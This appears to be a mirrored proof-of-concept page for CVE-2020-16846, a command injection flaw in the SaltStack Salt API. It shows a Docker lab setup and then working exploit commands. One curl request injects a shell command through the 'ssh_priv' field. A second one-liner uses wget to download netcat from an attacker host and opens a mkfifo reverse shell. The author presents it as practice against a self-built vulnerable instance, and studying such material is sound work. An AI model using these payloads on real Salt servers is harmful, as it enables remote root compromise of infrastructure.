目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2020-16846 PoC — SaltStack Salt 操作系统命令注入漏洞

来源
关联漏洞
标题: SaltStack Salt 操作系统命令注入漏洞 (CVE-2020-16846)
Description:SaltStack Salt是SaltStack公司的一套开源的用于管理基础架构的工具。该工具提供配置管理、远程执行等功能。 SaltStack Salt中的API 存在操作系统命令注入漏洞,该漏洞允许攻击者绕过限制,以提升其特权。
介绍
# CVE-2020-16846-Saltstack-Salt-API

Vulnerability Explained: An issue was discovered in SaltStack Salt through 3002. Sending crafted web requests to the Salt API, with the SSH client enabled, can result in shell injection. The details about this vulnerability can be found here:

https://www.zerodayinitiative.com/blog/2020/11/24/detailing-saltstack-salt-command-injection-vulnerabilities

For practice and learning purposes, I have decided to create a vulnerable instance and exploit it.

Vulnerable version: https://github.com/saltstack/salt/releases/tag/v3002

Tested on Ubuntu 20.04.03

## Instructions

Use the Dockerfile to create a vulnerable instance in Docker.

Run salt_setup.sh if want to create a vulnerable instance on an ubuntu VM. 

#### Build the image

> docker build -t salt-image .

####  
Run the container and expose ports (only 8080 is actually needed to be able to exploit it)

> docker run -p4506:4506 -p4505:4505 -p8000:8000 -it salt-image:latest

![api](img/api.png)

#### Exploitation

> curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"|id>/tmp/test #"}'

![reverse_shell](img/rev_shell_payload.png)

Reverse shell

```
root@kali:~# curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"| /usr/bin/wget http://$attacker_ip/nc -O /root/nc; chmod +x /root/nc; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/root/nc $attacker_ip $listener_port >/tmp/f  #"}'
```

![pwned](img/pwned.png)
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →